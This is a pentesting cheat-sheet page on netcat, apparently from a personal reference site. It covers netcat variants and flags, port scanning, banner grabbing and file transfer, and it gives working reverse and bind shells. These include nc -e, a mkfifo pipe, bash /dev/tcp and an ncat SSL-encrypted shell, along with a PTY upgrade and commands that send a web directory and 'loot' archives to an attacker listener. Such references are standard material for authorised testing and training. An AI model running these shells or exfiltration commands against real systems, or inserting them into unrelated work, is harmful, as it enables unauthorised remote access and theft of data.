pentesting, updated

netcat

netcat (nc): raw TCP/UDP connections for port checks, banner grabbing, file transfer, bind and reverse shells, and PTY upgrades.

What it’s for

The “TCP/IP Swiss army knife”: raw connections for port checks, banner grabbing, data transfer, and the classic bind and reverse shells.

Which variant

The flags differ between the three common builds — check before you rely on -e.

VariantPackage-e to run a program?SSL?
OpenBSD ncnetcat-openbsd (Kali/Ubuntu default)No (use a FIFO)No
Traditionalnetcat-traditionalYesNo
Ncat (Nmap)ncatYes (--exec/--sh-exec)Yes (--ssl)

Options

FlagEffect
-lListen mode
-p <port>Port (listen or source)
-v / -vvVerbose
-nNo DNS resolution
-uUDP instead of TCP
-zZero-I/O — scan without sending data
-w <secs>Connect / idle timeout
-NShut down the socket on EOF (OpenBSD, for transfers)
-kKeep the listener up across connections
-e <prog>Execute a program on connect (traditional/ncat)
--sslTLS-wrap the connection (ncat)
--exec / --sh-execRun a program / run via /bin/sh (ncat)

Examples

Port checks and banners

nc -zvn 10.0.0.5 20-1024                  # fast port scan, no DNS
nc -zvnu 10.0.0.5 53 161                  # UDP ports
nc -nv 10.0.0.5 22                        # read the SSH banner
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc -nv 10.0.0.5 80   # raw HTTP request

File transfer

# receiver:
nc -lvnp 9001 > loot.tar.gz
# sender:
nc -Nvn 10.0.0.9 9001 < loot.tar.gz       # -N closes on EOF so the file finishes
# whole directory:
tar czf - /var/www | nc -Nvn 10.0.0.9 9001   # receiver: nc -lvnp 9001 | tar xzf -

Reverse shell (target connects back to your listener — beats inbound firewalls)

# attacker (listener):
nc -lvnp 4444
# target, with -e (traditional / ncat):
nc -e /bin/bash 10.0.0.9 4444
ncat --sh-exec "/bin/bash" 10.0.0.9 4444
# target, OpenBSD nc (no -e) — named-pipe trick:
mkfifo /tmp/f; nc 10.0.0.9 4444 < /tmp/f | /bin/bash > /tmp/f 2>&1; rm /tmp/f
# target, no nc at all — bash's own /dev/tcp:
bash -i >& /dev/tcp/10.0.0.9/4444 0>&1

Bind shell (target listens and serves a shell; you connect in)

# target:
nc -lvnp 4444 -e /bin/bash                # traditional / ncat
# attacker:
nc -nv 10.0.0.5 4444

Upgrade a dumb shell to a full PTY

# in the reverse shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'   # get a basic PTY
# then press Ctrl-Z to background it, and on your own box:
stty raw -echo; fg                                # hand the terminal to nc
# back in the shell, fix the terminal:
export TERM=xterm; stty rows 50 cols 200          # match your window size

Encrypted channel with ncat

# attacker:
ncat --ssl -lvnp 4444
# target:
ncat --ssl 10.0.0.9 4444 --sh-exec "/bin/bash"

References

§ home
~/knubertus/home/
1,1 Top